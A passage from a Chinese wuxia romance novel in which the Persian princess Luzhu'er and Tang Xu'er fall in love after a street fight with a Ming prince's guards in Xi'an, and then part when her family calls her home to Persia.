哥带着随从一行人渐渐远去。此后,露珠儿公主便和唐旭儿,沈云,唐兰儿三人跟着唐梦泽学习武艺,露珠儿冰雪聪明,很多招式一学便会,为人又极其谦和,和师兄师妹关系相处的非常融洽,常言道:窈窕淑女君子好逑,此时唐旭儿已经十八九岁,长得温文尔雅朗目星眸,丰神俊秀玉树临风,初见露珠儿公主之时,便被她国色天香,倾国倾城的绝世容颜和清灵飘逸雍容华贵的优雅气质所倾倒,心中常想:“大丈夫若能娶妻如此,夫复何求?”相处了几个月后,又感觉露珠儿不但相貌美若天仙,而且冰雪聪明,兰心蕙质,温柔善良,心中的爱意已经情不自禁难以自抑,日常相处中对露珠儿更是关心备至体贴入微,但露珠儿对唐旭儿却是始终以礼相待,对唐旭儿有意无意的示爱,也是故作不知,视若无睹置若罔闻,始终和唐旭儿保持一定的距离,唐旭儿原以为是波斯女子,为人待物都是如此,可露珠儿公主和妹妹唐兰儿在一起时,却是谈笑风生,活泼灵动,唐旭儿心中不由得有些悲苦,但是又不知道该如何打动露珠儿公主的芳心.转眼之间,露珠儿公主到圣火崖已经将近一年,这日几人练功完毕,等唐梦泽走后,唐兰儿笑嘻嘻的对露珠儿道:“师姐,我们西安的中秋灯会,你知不知道?”露珠儿摇摇头道:“我从来没有见过中原的中秋灯会,我在波斯国听说中原的中秋灯会,游人如织,热闹非凡,可惜我却无缘见识。”唐兰儿又转头对唐旭儿和沈云道:“大哥,二师兄,我们能不能找爹爹,和爹爹说,中秋节一早让我们几个人去西安城逛中秋灯会,让师姐也领略一下我们西安灯会的风采。”唐旭儿心中也想和露珠儿公主一同出游,找点机会增进感情,于是道:“好啊,我们四个人现在就去找爹爹,请他同意我们去西安看中秋灯会。”于是四个人一起去找唐梦泽,唐梦泽本来是不大愿意,担心灯会人太多,会出什么乱子,唐梦泽的夫人韩氏道:“夫君,这几个孩子天天辛苦练功,我看着都心疼,露珠儿从小在波斯长大,还没有见过中秋灯会,你就让他们几个出去放松游玩两日,又有何妨?等他们回来后,再认真练功就是。”唐梦泽听夫人这么一说,也就点点头,道:“旭儿,你带师弟师妹妹妹出去,凡事要多加小心,一定要护得师弟师妹和妹妹的安全。”唐旭儿点头答应,唐梦泽又道:“西安将军徐世兴是你奶奶的娘家侄子,如果你们在西安有什么事,可以去找他。”众人答应后,一个个兴高采烈,回去准备行装。到了中秋节当天,一清早,唐旭儿,沈云,露珠儿,唐兰儿一行四人出了寨子,骑着马,向西安城疾驰而去,这圣火崖离西安城也就两三个时辰的路程,快到中午时,四人已经进了西安城,将马匹安顿好后,四个人便到街上逛起灯会,西安城自古以来是好几个朝代的都城,向来是西北重镇,人口密集,商贾云集,到了中秋节更是热闹非凡,街上车水马龙,游人如织,唐旭儿和沈云原来到过西安城,倒也不觉惊奇,露珠儿和唐兰儿是第一次进西安城,看着那耍猴的,卖艺的,卖小吃的,算命测卦的,演皮影戏的,杂耍的,还有披红挂彩,五光十色的各式彩灯,只觉得目不暇接,眼睛都舍不得眨一下,唐旭儿又取出银两,在路边买了些好吃的特色小吃,糖葫芦,棉花糖,各式瓜子,干果,果脯,几个人边吃边逛,一个个都眉飞色舞,快乐非常,露珠儿公主也不再拘束,和师兄师妹边走边聊,笑得十分开心,唐旭儿看着师妹笑语盈盈,天真烂漫,美艳动人,光彩四射,只觉得赏心悦目,心中暗想:“露珠儿师妹才是西安城最靓丽的风景。”正在此时,忽听有人大声喊道:“王爷出巡,闲杂人等尽皆闪开。”四人打眼望去,只见前面来了一行人,大约有四五十人,为首十几名黑衣大汉,一个个横眉瞪目,凶神恶煞一般,一边大声吆喝到:“王爷来了,都给我滚开,一边手中长鞭挥舞,驱赶沿街百姓,唐旭儿远远看见,不愿招惹事非,连忙带着师弟师妹和妹妹躲到一边,只见开道的黑衣人后面,有一个四十岁左右,高高瘦瘦,穿着王爷服饰的人,正大摇大摆的在街上行走,后面簇拥着三四十名膀大腰圆的彪形大汉,此人乃太祖朱元璋第二十五子伊王朱榏,朱榏是朱元璋老来得子,所以倍加疼爱,到了永乐年间,朱棣以清君侧靖国难的由头,推翻了侄子朱允炆的皇位,自己做了皇上,为了平息皇族内的反对声,对诸位皇弟皇侄,也是一副宽厚仁和的做派,这个朱榏是朱棣最小的弟弟,从小被朱元璋宠坏了,只知道吃喝玩乐,而且贪财好色,但在朱棣眼中,王爷吃喝玩乐,贪财好色,实属平常,说明他不贪图权利,不觊觎皇位,正符合兄弟友爱的仁君形象,所以对朱榏的违法乱纪,也是睁一只眼闭一只眼,不管不问,朱榏更是无法无天,整天的纵情声色,为非作歹,此时朱榏正两眼胡瞟乱转,突然看到了露珠儿,情难自控的呆住了,只感觉到头脑一片空白,三魂九魄都离开了身体,瞬间魄散魂飞呆如木鸡,眼睛直勾勾的盯着露珠儿看,身旁的贴身随从,看到朱榏的模样,不明究竟,顺着朱榏的眼神一看,原来街边有一个国色天香,倾国倾城的少女,顿时恍然大悟,于是满脸陪笑对朱榏道:“王爷,王爷。”连喊七八声,朱榏这才回过来神,朱榏只感觉到自己好像在梦中一般:“难道我是在做梦?在梦中遇到了瑶池仙女?”想到这,朱榏用手掐了掐自己手臂,一阵疼痛,这才反应过来,情不自禁欣喜若狂:“我不是在做梦,我是真的遇到了天仙一样的女子。”于是眼珠直转思索片刻后,对身边的随从道:“你们看见了吗?那个街边的女子好像是异邦人。”身边随从忙不迭的回答道:“是的,王爷,我们看见了,那名女子不是汉人,高鼻深目,眼睛湛蓝,一看就是外邦女子。”朱榏道:“外邦女子潜入我大明,十有八九都是奸细,来打探我大明的风土人情,山川河流,来人啊,你们去把她抓到我府上来,我细细审问。”众随从齐声答应,朱榏道:“你们几个给我小心一点,千万别伤着美人。”众随从心领神会,七八个人走上前,围住了露珠儿一行,为首的随从道:“你们几个是哪里人士?”唐旭儿道:“我们是太白山人士。”随从道:“太白山人士?”你身边的那名女子分明来自异邦,你小子敢糊弄你大爷。”唐旭儿眉毛一挑,正想发火,但转念一想,还是不惹事为好,于是道:“我这师妹是外邦人,她来中原是为了拜我父亲为师,学点防身的武艺。”随从呵呵一阵冷笑道:“现在我大明国运昌盛,威振四海,周边小国都觊觎我大明物华天宝,百姓富足,总想派一些奸细来我大明刺探军情,打听我们的山川河流,风土人情,我看这异邦女子分明就是外邦派来的奸细,你们识相的滚一边去,让这异邦女子随我们去王府,让王爷好好审问。”说罢,伸手就要来抓露珠儿,露珠儿哪里见过这场面,不由得花容失色,唐旭儿哪里肯让开,一伸手将随从胳膊挡住,随从呵呵一阵冷笑道:“小娃娃不知死活。”说罢,凝神运气,只听身上骨骼关节咯咯作响,原来这随从是朱榏收拢的江湖巨盗,来自淮扬鹰爪门,一身鹰爪功,在王府中是数一数二的高手,他对着唐旭儿就是连环三爪,唐旭儿伸手挡住,两人你来我往,斗作一团,其余几名随从也不闲着,冲上来就要抓露珠儿,沈云,露珠儿,唐兰儿一见不好,连忙抽出兵器与几名随从战作一团,这几名随从原来以为就是几名少年,还不手到擒来?”没想到,十几招过后,竟被沈云,露珠儿,唐兰儿刺伤了好几个,伊王朱榏在后面看见大怒,一挥手,命令身后的随从道:“都拿兵器,去把美人旁边的两个小子都给我宰了,别伤着美人就行。”身后的几十名随从,留下十几个护卫朱榏,其余的二三十名随从,一个个拔出兵刃,上前围攻,唐旭儿和那鹰爪门高手过招,也是空手,以家传掌法与那鹰爪门高手较量,本来已经占了上风,眼看就要取胜,没想到又冲上来几个拿刀弄枪的高手,开始围攻自己,唐旭儿拔出身上宝剑,与几人展开厮杀,围攻四人的足足有三十多人,功夫不大,四人已经落了下风,那些随从对露珠儿还有所顾忌,不敢下手,对唐旭儿和沈云都是真刀真枪,用力砍杀,唐旭儿见形势不妙,使出全身力气,舞动手中长剑,只见剑光连闪,如同水银泻地一般,那几名随从见唐旭儿剑势凶猛,也不敢过于逼近,但碍于朱榏在后面看着,只能拼命抵挡,围困缠住唐旭儿,唐旭儿担心露珠儿和妹妹安全,几个箭步冲到露珠儿和唐兰儿身前,只见两人背靠着背,手中长剑挥动,正抵挡着朱榏的侍卫,唐旭儿一边抵挡众侍卫的兵器,一边让露珠儿和唐兰儿靠在他的身后,三人背靠着背,联手作战,此时的沈云也被四五名随从包围,沈云边打边想:“大师兄和自己脱困是没问题,但露珠儿和师妹要想脱身,可就难了。”沈云思索片刻,已经有了主意,大声怒吼,做出架势,一副想往唐旭儿身边冲的架势,趁包围的几名侍卫没注意,一个虚招,转身跑到小巷子里面去了,几名侍卫跟着后面边吆喝边追赶,沈云一个纵身跳上屋顶,转眼就没了踪影。几名侍卫心想:“我们没必要抓这个小屁孩,还是回去帮王爷抓住那美人,才好领功劳。”几个人转身回到街上,去围攻唐旭儿,唐旭儿虽然自己可以脱困,但他怎能舍得丢下露珠儿和妹妹,挥剑如风,咬牙苦苦坚持,这些侍卫大多数都是朱榏重金请来的保镖,个个身手不凡,唐旭儿以一敌众,身上也挨了好几下,鲜血直流,露珠儿和唐兰儿也只能勉强自保,这些侍卫得了王爷的指令,不敢对露珠儿痛下杀手,所以露珠儿还能勉强支撑,打斗的时间一久,唐旭儿身上血流如注,渐渐剑法呆滞,眼看就要性命不保,正在此时,忽听大街上马蹄声响,朱榏回头望去,只见一名将军,正领着上百骑兵快速奔来,片刻功夫,已到眼前,正是西安将军徐世兴,身边骑马一人正是沈云,原来沈云脱困后,施展轻功,风驰电掣般跑到了西安将军府,这沈云原来随同唐梦泽来过西安将军府几次,所以轻车熟路,到了将军府门口,大声呼救道:“徐将军,我是唐梦泽的徒弟,我师兄遇险,请您快去搭救。”徐世兴在府内听见有人急切呼喊,出来一看,他也认得沈云,沈云连忙将唐旭儿遇险之事禀报,徐世兴立刻备马,带着将军府的上百兵丁,让沈云带路,风驰电掣般驶向唐旭儿遇险地点,徐世兴来到跟前,已经看到唐旭儿身受重伤,形势十分危急,连忙一挥手,身后的沈云和随行骑兵一拥而上,将朱榏的那些侍卫冲到一边,沈云跳下马,口中大喊:“师兄。”唐旭儿见到徐将军和沈云前来,不禁松了一口气,只感觉意识模糊,头晕目眩,口中微弱的道:“师弟,保护好露珠儿和妹妹。”说罢,昏倒在地,沈云连忙伸手点穴,为唐旭儿止血,然后又从怀中掏出金创药,为唐旭儿上药,露珠儿和唐兰儿也上前帮忙,三人将唐旭儿衣衫撕开,只见身上有七八处伤口,还在流血,露珠儿和唐兰儿吓的面目失色失魂落魄,一边哭一边帮助沈云为唐旭儿止血上药,此时的朱榏眼睛恶毒的看着徐世兴,道:“姓徐的,你敢管本王的事?”徐世兴脸色冷峻目光如炬,不卑不亢对朱榏道:“不知王爷为了何事?竟然在大街上纵奴行凶。”朱榏道:“我怀疑他们是异邦派来的奸细,我身为大明皇朝的王爷,自当要为国分忧,抓他们回王府审问清楚,有什么不妥?”徐世兴冷冷一笑道:“王爷,你若是说别人,我还不敢断定,但是你说他们是奸细,我就要跟你辩个明白。”说罢,用手一指唐旭儿道:“被你手下刺伤的年轻人,是圣火崖圣火教教主唐梦泽之子唐旭儿,给我报信的是唐梦泽的徒弟沈云,那两名女子,一个是唐梦泽的徒弟,一个是唐梦泽的三女儿唐兰儿,都是有根有底的良善之民,何来异邦奸细?”朱榏一听,心中不由得一紧,他也知道圣火教是太皇太后马娘娘的娘家至亲,老教主唐思源是马娘娘亲姐夫,当年鄱阳湖之战,为了救太祖而亡,唐正阳是马娘娘嫡亲姨侄,当年马娘娘曾亲手赐字:日月之下,圣火连绵,并咬破手指按下手印,太祖当年又感念唐正阳因马娘娘和朱标之死,吐血将亡,于是赐字:忠孝仁义,这唐家可是正儿八经的皇亲国戚,前几年,听说现任教主唐梦泽的女儿唐赛儿起兵谋反,当今皇上和皇后都故作不知,没有追究。”想到这,朱榏心中情不自禁有点发虚,勉强嘴硬道:“唐梦泽收了一个异邦女子做徒弟,是何居心?谁知道那名女子会不会是异邦派来的奸细?”徐世兴冷冷道:“王爷,依你的推断,异邦人都是奸细?圣火教源自波斯,与中原的圣火教本是同宗同源,唐梦泽教主收一个波斯女子做徒弟,有何不可?既然王爷不能确定,更没有证据,证明那波斯女子是奸细,就悍然纵奴行凶,竟然还重伤了唐梦泽的儿子,唐梦泽的母亲,乃当朝皇后娘娘的亲堂姐,是正儿八经的皇亲国戚,王爷这样对待唐梦泽的儿子,难道是对皇后娘娘有什么不满?俗话说得好:打狗都要看主人,王爷让手下人如此肆无忌惮打伤皇后娘娘的娘家至亲,难道就不怕皇后娘娘得知,怪罪王爷?再说我身为西安将军,缉拿盗贼,维护治安,严防奸细,是西安将军职责所在,难道王爷静极思动,想插手地方的治安和军权吗?”此言一出,朱榏也是惊出了一身冷汗,他一是没想到这几名年轻少年男女不但是太皇太后马娘娘的娘家至亲,而且还是当朝皇后徐娘娘的娘家亲戚,二是四哥朱棣自称帝以来,对王爷们是严防死守,凡事想插手地方事务和军队的,基本上都没有好下场,三是徐世兴是当今皇后徐娘娘的娘家侄子,家族势力在当今朝堂上排名第一,为当今大明朝第一皇亲国戚,若是他参上一本,只怕自己也不太好过,想到这,朱榏连忙道:“徐将军,本王也是担心异邦奸细,心急了一点,并无插手地方事务和军权的意思,既然你来了,这些事就交给你处理,本王回府。”说罢,一挥手,领着几十名随从,匆匆而去。徐世兴心想:“这朱榏是太祖最小的儿子,是当今皇上最小的弟弟,一向得宠,今天他碰了一鼻子灰回去,日后恐怕也会找机会对付我,把场面找回去,既然他今天已经离去,我也只能大事化小,小事化了。”徐世兴来到唐旭儿身边一看,虽然沈云为他点穴上药止了血,但唐旭儿依然脸上苍白,气息微弱,徐世兴连忙命人去找大夫,为唐旭儿医治,又命人快马加鞭去圣火崖送信,请唐梦泽速来救治,然后又命人整一个担架,将唐旭儿抬回将军府救治,唐梦泽夫妻得到消息后,韩氏夫人吓得面无人色,唐梦泽顾不上安慰夫人,急忙带着随从,快马加鞭赶到了西安将军府,到了将军府,唐梦泽顾不上拜谢徐世兴,连忙为唐旭儿把脉救治,露珠儿和唐兰儿都已经哭得眼睛红肿,声音嘶哑,唐梦泽见儿子昏迷不醒,脉搏微弱,伤情严重,连忙运气丹田,将手掌抵住唐旭儿后心,用丹田真气为儿子疗伤,过了半柱香功夫,才听到唐旭儿哎哟一声,悠悠醒来,众人见唐旭儿醒来,一个个欣喜若狂,唐梦泽不敢怠慢,将丹田真气源源不断的注入唐旭儿体内,唐旭儿又受了唐梦泽一些真气后,开口道:“爹,我身体已经没有大碍了,你不要再给我度真气了,以免伤了您的身体。”唐梦泽见儿子脸色慢慢红润,这才放下贴在唐旭儿后背的手掌,道:“旭儿,你好好休息。”然后起身拜谢徐世兴,徐世兴也是唐梦泽母亲徐氏夫人的娘家侄儿,来到西安任职后,和唐梦泽经常走动,也常常去拜见唐梦泽的母亲,所以两人感情甚好,徐世兴道:“唐家表哥,我们都是自家亲戚,你也不必和我客气,我看表侄刚刚脱离危险,身体还没有复原,你就让他在这里安心静养半个月,等身体恢复了,再回圣火崖不迟。”唐梦泽知道徐世兴说的也是实情,自己儿子刚刚苏醒,的确不宜走动,既然徐世兴诚心帮忙,那就让唐旭儿在将军府休养,自然是最好的办法,于是连连称谢,当晚,露珠儿执意要留在唐旭儿的病房,照顾唐旭儿,众人见说不动她,也就只好如此,过了两三天后,唐梦泽准备回圣火崖,原本准备留沈云在将军府,再加上将军府的奴婢,完全可以照顾好唐旭儿了,但露珠儿感念唐旭儿舍命救护自己,执意要留在将军府,照顾唐旭儿,唐梦泽于是将沈云和露珠儿留下,自己带着唐兰儿回归圣火崖,后面的半个月中,露珠儿衣不解带,为唐旭儿端茶送水,唐旭儿因手臂有伤,自己饮食十分困难,露珠儿亲自喂他食物茶水,日夜伺候唐旭儿,在此之间,唐梦泽带着夫人和唐兰儿,和教中骨干也常来看望,韩夫人见露珠儿如此用心,不辞辛苦的照顾儿子,内心也是满满的感动。半个月后,唐旭儿身体慢慢康复,唐梦泽夫妻带着随从来到将军府来接唐旭儿,唐旭儿此时已经可以骑马,众人拜谢过徐世兴后,骑着马缓缓回归圣火崖,唐梦泽夫妻,沈云,唐兰儿和一众随从,骑马在前,故意将露珠儿和唐旭儿丢在队伍最后面,唐旭儿这半个月来,被露珠儿无微不至,体贴入微的照顾,心中也是感激万分,两个人骑着马,边走边聊,唐旭儿道:“师妹,你可知道我从小到大,最幸福最快乐的时光是什么时候?”露珠儿冰雪聪明,心中一猜已经八九不离十,露珠儿含羞低着头,轻声道:“我不知道。”唐旭儿道:“师妹,我长这么大,虽然爷爷奶奶,爹爹妈妈,还有两个姐姐都很疼爱我,教里的教众对我也很好,但我最幸福最快乐的时光,就是你照顾我的半个月,这半个月我觉得我自己,是世界上最幸福,最快乐的人,我都恨不得当时我的伤势更重一些,这样你就可以多照顾我一段时间了。”露珠儿脸颊红晕,含羞低声道:“你真傻,当时要不是师弟去将军府求援,你就会被那群坏人杀死了,要不是师傅来的及时,用自身真气为你疗伤,你可能就会伤重不治了,你还说傻话,说恨不得当时伤势再重一些,你可知道,你差一点就丢了性命。”唐旭儿道:“就算我丢了性命,我也要护你周全,若是你有什么三长两短,我又怎能独活。”露珠儿满脸羞涩,低声细语道:“师兄,你昏迷的时候,我也在想,如果你伤重而亡,我绝不独活。”此言一出。”唐旭儿眼睛一亮,欣喜若狂,道:“师妹,有你这句话,我受再重的伤,也都值得。”露珠儿道:“师兄,我知道你的情意,我也心属于你,但我有些苦衷,不敢立刻答应你,我来中土学习武功,只因我波斯国,遇到一些难处,所以我才来这里学艺,待我写信回波斯,向父母禀报后,若父母同意,我就留在中土,陪伴师兄。”唐旭儿闻言,眉飞色舞,兴高采烈道:“师妹,你今天回去就写信给你爹娘,将我们的事,告诉二老,你写好信后,我安排得力人手,送信去波斯。”因为唐旭儿身体刚刚恢复,所以平常两三个时辰的路,足足走了半天,傍晚时分,到了圣火崖后,众人吃了晚饭,各自休息。第二天,唐旭儿和露珠儿拿来纸笔,露珠儿提笔将在中土发生的事,一一写信禀告父母,重点描述了唐旭儿为了救她,险些丢了性命,所以想请父母允许,让自己留在中土,陪伴唐旭儿。书信写好后,唐旭儿派了四名得力教众,让他们日夜兼程,前往波斯国送信。此后一个多月,因为唐旭儿身体还没有完全康复,所以不能练功,露珠儿也请得唐梦泽准许,陪着唐旭儿在圣火崖周边游玩散心。一个多月后,唐旭儿和露珠儿刚刚回到山寨,就见沈云和唐兰儿跑来,两人兴高采烈的喊道:“师姐,你的叔叔和哥哥都来教里了,正在和爹爹说话呢。”唐旭儿和露珠儿赶忙加快脚步,三步并作两步向着大厅而去,到了大厅一看,唐梦泽夫妻正和王弟沙普尔,王子塔西蒙正在叙话,露珠儿兴高采烈地跑回去,拉着叔叔和哥哥的手,叽叽喳喳的问个不停,唐旭儿也上前给王弟等人施礼,等众人落座后,唐旭儿和露珠儿却发现众人脸色都不对劲,尤其是唐梦泽夫妻,更是长吁短叹,满面愁容,唐旭儿道:“爹,娘,你们怎么了?怎么脸色这么难看,是不是发生了什么事?”唐梦泽抬头看了看儿子,道:“旭儿,还是让露珠儿的叔叔和你说吧。”唐旭儿疑惑不解,转脸用疑惑的眼光看着王弟沙普尔,沙普尔也是面露尴尬为难之色,思索片刻后,叹了一口气,道:“少教主,我侄女的信,我王兄王嫂都看到了,也让我和我侄子到宫里认真商量了一下,我们知道,你为了救露珠儿险些丢了性命,救命大恩本当以身相报,但我们实在又不得已的苦衷,事关我国江山社稷,和几百万黎民百姓。”唐旭儿见王弟沙普尔说的如此凝重,禁不住心中一惊,王弟沙普尔接着道:“当年我祖父在波斯立国,手下有两个结义兄弟,一个名叫志费尼,一个名叫马扎斯,志费尼足智多谋,运筹帷幄,是难得一见的军师之才,马扎斯武艺高强,本领出众,有万夫不当之勇,是难得一见的统兵猛将,这二人辅助我祖父在波斯立国,我祖父为了感谢两位结义兄弟的帮助,于是封志费尼为宰相之家,世代位居我国宰相,封马扎斯为元帅之家,世代统领我波斯大军,本来这几位先祖金兰之交,为我波斯国强盛,立下旷世功勋,几位先祖的后人,也精诚团结,但到了马扎斯的第三代子孙,亚冈迪当大元帅时,因为家族几代人都身为我波斯国兵马大元帅,在军中威望很高,所以亚冈迪就起了谋朝篡位之心,军中大部分将士都是亚冈迪家族提拔上来的,所以对亚冈迪家族都有效忠之心,幸好宰相志费尼家族一心忠于王室,处处制约亚冈迪家族,加上我波斯国信奉拜火教,国内民众十之八九都是拜火教教众,而拜火教教主历来都是我国嫡公主担任,担任教主的嫡公主,终身不嫁,被民众称为圣女教主,所以亚冈迪家族虽然在军中势力强大,但黎民百姓大部分都是拜火教众,信奉嫡公主担任教主的拜火教,再加上宰相之家志费尼家族与王室齐心协力,所以,亚冈迪一直不敢轻举妄动,后来,亚冈迪撺掇文武大臣,说我波斯以军功武功立国,拜火教是我国护国神教,拜火教教主必须要武艺高强的女子担任,亚冈迪为什么这么说呢,是因为他有一个女儿,叫波利丝,从小拜武功高手为师,一身武功,在我波斯国女子当中实为翘楚,我哥哥知道亚冈迪的用意和野心,但文武大臣也有人被亚冈迪收买,也同意以武力第一女子为拜火教教主,我哥哥无奈,所以才不惜将珍藏多年的十二天尊令送还给中原圣火教,希望露珠儿可以在唐教主的用心栽培下,练就高超武艺,回国后,争取获得拜火教教主之位,以拜火教教主身份威慑亚冈迪,令其循规蹈矩,不敢有图谋不轨之心,前些日子,我王兄王嫂收到书信后,与我和侄儿商量,我们虽然万分感激少教主救命之恩,但如果露珠儿不能回国,参加比武并获胜,那么亚冈迪的女儿就会成为新一任拜火教教主,国内民众也会拜服亚冈迪的女儿,把她当成圣女教主,如此一来,我国中民众十有八九会听从亚冈迪的女儿指令行事,军中大部分士兵也会按亚冈迪的指令行事,那么亚冈迪民心所向,军心所向,大权在握,定会谋朝篡位,到那时候,不但我波斯王室一族数千人,还有宰相家族数千人,会被屠杀殆尽,连波斯国内忠于王室的士兵和民众也会惨遭屠杀,所以,露珠儿身上担的责任非常重大,我们只能请少教主体谅,这棒打鸳鸯的事,我们实在是不想做,但如果露珠儿不回去,王室和宰相两大家族,加起来近万人,还有国内忠于王室的民众和士兵,恐怕都要被亚冈迪全部杀害。”说到这,沙普尔长叹一口气,接着道:“少教主,露珠儿,你们想想看。”沙普尔说完之后,唐旭儿已经呆若木鸡,再看露珠儿,也是目瞪口呆,露珠儿来中土学习武艺,就是知道亚冈迪家族的野心,想控制拜火教,然后再谋朝篡位,改朝换代,本来露珠儿是一心学习武艺,回国夺得拜火教教主之位,解王室于水火,救民众于深渊,但偏偏遇上了情真意切的唐旭儿,本来是抱着侥幸心理,看父母能不能另选人选,争夺拜火教教主之位,没想到父母却让叔叔和哥哥来圣火教说了诸多困难和凶险,露珠儿情难自控心乱如麻,只见王子塔西蒙站起身,走到露珠儿面前,噗通跪倒,把众人都吓了一跳,露珠儿连忙伸手想扶起哥哥,塔西蒙却不肯起身,直挺挺的跪在地上道:“妹妹,我今天跪下来求你,是为了我们波斯王族数千族人,和宰相世家的数千族人,还有无数忠于王室的士兵百姓,如果你不回去夺得拜火教教主一职,那么亚冈迪就会阴谋得逞,一旦亚冈迪女儿做了拜火教教主,假以时日,控制了拜火教,到那时,我波斯王国就会内战不断,血流成河,生灵涂炭,千里白骨。”此刻的露珠儿内心波涛汹涌彷徨失措,眼中的泪水如断了线的珍珠,不停滑落,露珠儿沉思良久,抬起满是泪水的脸庞,对唐旭儿道:“师兄,我叔叔和我哥哥所言,你都听见了,我不能为了一己之情,而置波斯王室和黎民百姓不顾,我只能回国和亚冈迪之女,以命搏杀,只盼得能夺得拜火教教主之位,才能解救我波斯国于水火,看来你我今生注定是无缘了。”说罢,已经泣不成声掩面痛哭,唐旭儿闻言,如同旱地惊雷晴天霹雳,刹那间眼神呆滞面如死灰,如同傻了一般,只觉得心如刀绞五脏俱焚,肝肠寸断痛彻心扉,口中喃喃自语,也不知道在念些什么,露珠儿不敢再看唐旭儿,上前两步跪倒在唐梦泽夫妻面前,道:“师父师母,你们两位老人家保重身体,以后师兄就拜托师父师母照顾了,盼师父师母用心为师兄选得一位花容月貌,兰心蕙质的妻子,让她陪着师兄一辈子。”说罢,放声痛哭,唐梦泽夫妻面面相觑,韩夫人眼中也满是泪水,长叹一声,上前将露珠儿拉起,口中道:“孩子,我知道你的心意,也明白你的难处,你放心回波斯吧,你师兄的事,我和你师父会处理好的。”旁边的唐旭儿呆呆愣愣的站立,突然大声道:“为什么?为什么?我唐旭儿从未做过伤天害理之事,为什么老天爷要如此惩罚我?为什么要让我爱上一个今生今世注定无缘携手的人?为什么要让我爱上一个我永远都无法得到的人?”众人在一旁听到,不由得眼中含泪,也都为唐旭儿伤心难过,突然唐旭儿大声嘶喊道:“老天爷,为什么?这到底是为什么?”说罢发足狂奔,眨眼功夫已经不见踪影,众人大惊,连忙安排众人出去追赶,哪里还能看见唐旭儿的身影,众人心急如焚,连忙安排教众分头去找,找到半夜,才得到消息,原来唐旭儿去了太白山的一线崖,这一线崖山势险峻,四面光滑陡峭,如同镜面一般,只有一条羊肠小道可以上去,众人赶紧打着火把赶往一线崖,待到众人好不容易爬了上去,却被眼前的情景吓得魂不附体,只见唐旭儿坐在悬崖边的一棵松树树枝上,那树枝伸出悬崖,唐旭儿的脚下便是万丈深渊,唐梦泽夫妻连忙上前,柔声细语劝唐旭儿回来,沈云和唐兰儿也在喊着:“师兄,哥哥,你快回来,那里危险。”可唐旭儿就像聋了一般,坐在那松树树枝上,一边发呆,一边摇摇晃晃的拿个酒葫芦在喝酒,众人见状都吓得心惊肉跳,生怕唐旭儿喝酒之后,一个不小心掉下悬崖,露珠儿强忍心中悲痛,一步一步走到松树边,对着树枝上的唐旭儿道:“师兄,我身负江山社稷和黎民百姓安危重任,所以只能辜负师兄的一片真情,我曾经和师兄说过,你若是有三长两短,我绝不独活,师兄若是如此作践自己,那我只能以死谢罪了。”说罢,拔出腰中宝剑架在自己脖颈之上,众人见状吓得魂飞魄散,连忙大喊:“露珠儿,不可,不可。”沈云和唐兰儿也吓得连连大喊:“师姐,不可,不可。”露珠儿大声道:“你们都别过来,你们要是过来,我就立刻自刎。”众人被吓住,不敢再上前,只见露珠儿洁白如雪的脖颈上已经被剑锋划破,脖子上的鲜血顺着宝剑慢慢滑落,此时空气就好像被凝固一般,没有人敢发出一点点声响,齐刷刷把眼睛看着唐旭儿和露珠儿,唐旭儿眼睛此时已经红肿,双目呆滞,面容憔悴胡子拉碴,半天功夫,却如同老了十岁一般,他看了看露珠儿,凄然道:“师妹,你不必如此,我现在就下来。”说罢纵身从树枝上跃下,踉踉跄跄走到露珠儿身旁,露珠儿扔下宝剑,一把抱着唐旭儿放声痛哭,唐旭儿此刻也是肝肠寸断,悲痛欲绝,伸手从自己的衣衫上撕了一块布下来,用布小心翼翼的擦拭露珠儿的脖颈,露珠儿的脖颈被宝剑划了一个小口,虽然流了一些血,但好在没有什么大碍,唐旭儿涩声低语道:“露珠儿,你答应我,回去之后,夺得拜火教教主之位,护你父母族人和黎民百姓安全,我在中土会好好的,你不用担心我,以后我们还会相见的。”说到此处,已经声音嘶哑,哽咽着泣不成声,露珠儿此时已经泪流满面,声音凄惨嘶哑道:“师兄,你答应我,你要好好的活着,等你以后,以后~~~”,露珠强忍心中悲痛,抹了抹泪水,哽咽道:“等你以后娶妻生子,你带着嫂嫂侄儿来波斯看我,我以后要是做了拜火教教主,一生都不会有子女,以后你的儿子女儿,要让他们认我做干妈。”说罢,已经泣不成声,唐旭儿和露珠儿两人紧紧相拥,眼中的泪水如泉水一般,从脸庞滑落。沙普尔和塔西蒙见状,交换一个眼神,两人小心翼翼的上前道:“露珠儿,唐少教主,这里山势险峻,还是先下山再说吧。”唐旭儿和露珠儿你看看我,我看看你,强颜欢笑道:“好,我们下山。”一行人下了山之后,唐梦泽安排众人休息,又安排沈云在唐旭儿的房间陪护,一夜无话,到了第二天清早,王弟沙普尔和王子塔西蒙一商量,害怕夜长梦多,就想辞行回波斯,找到露珠儿一说,露珠儿勉强笑道:“叔叔哥哥,我们明天再走,今天我买些菜,亲自下厨,让师父师母师兄师弟们也尝一尝我的手艺。”沙普尔和塔西蒙闻言,也不能反对,只好同意,露珠儿一边请教众去帮忙买菜,一边让叔叔和哥哥,去请唐梦泽等人。功夫不大,唐梦泽夫妇,唐旭儿等人来到露珠儿住处,露珠儿道:“师父师母师兄师妹,我今天到伙房亲自下厨做几道菜给你们吃,让你们尝尝我们波斯风味。”众人强颜欢笑,答应下来,韩夫人心中难过,对唐梦泽低声道:“夫君,我和兰儿去帮露珠儿搭把手。”唐梦泽点点头,叹口气道:“露珠儿今天不要厨子帮忙,那就我们一家人自己动手,丰衣足食。”唐梦泽夫妻心中明白,露珠儿对自己儿子也是情深义重,今天她亲自下厨,其实就是想以妻子儿媳嫂子的身份,为自己一家人做上一桌菜,韩夫人和唐兰儿悄悄的抹去眼泪,去伙房帮露珠儿搭把手,到了午时,露珠儿韩夫人和唐兰儿亲自端上菜肴,露珠儿此刻虽然心如刀绞,但也招呼唐梦泽唐旭儿叔叔哥哥一起坐下,众人落座后,强颜欢笑,露珠儿更是故作轻松,和沈云,唐兰儿开着玩笑,此刻的众人嘴里吃着美味佳肴,却是味同嚼蜡,唐旭儿闷着头,大口大口的喝酒,众人知道他心中悲苦,也就由他喝酒解愁,午宴结束后,露珠儿和众人一一告别,说明天一早就和叔叔哥哥返回波斯,众人也强忍泪水,祝露珠儿等人一路顺风。第二天一早,沙普尔,塔西蒙和露珠儿公主,收拾好行囊,来到寨门前,只见唐梦泽夫妻,沈云,唐兰儿已经在寨门口等候,露珠儿和他们逐一打着招呼,然后一双美目四下张望,韩夫人叹口气道:“孩子,昨天旭儿酒喝多了,回去之后一直在睡觉,你就别等了,趁早上路,祝你们一路平安。”露珠儿心如刀绞,点了点头,抹去脸上的泪水,出了寨门,骑上马匹向山下而去,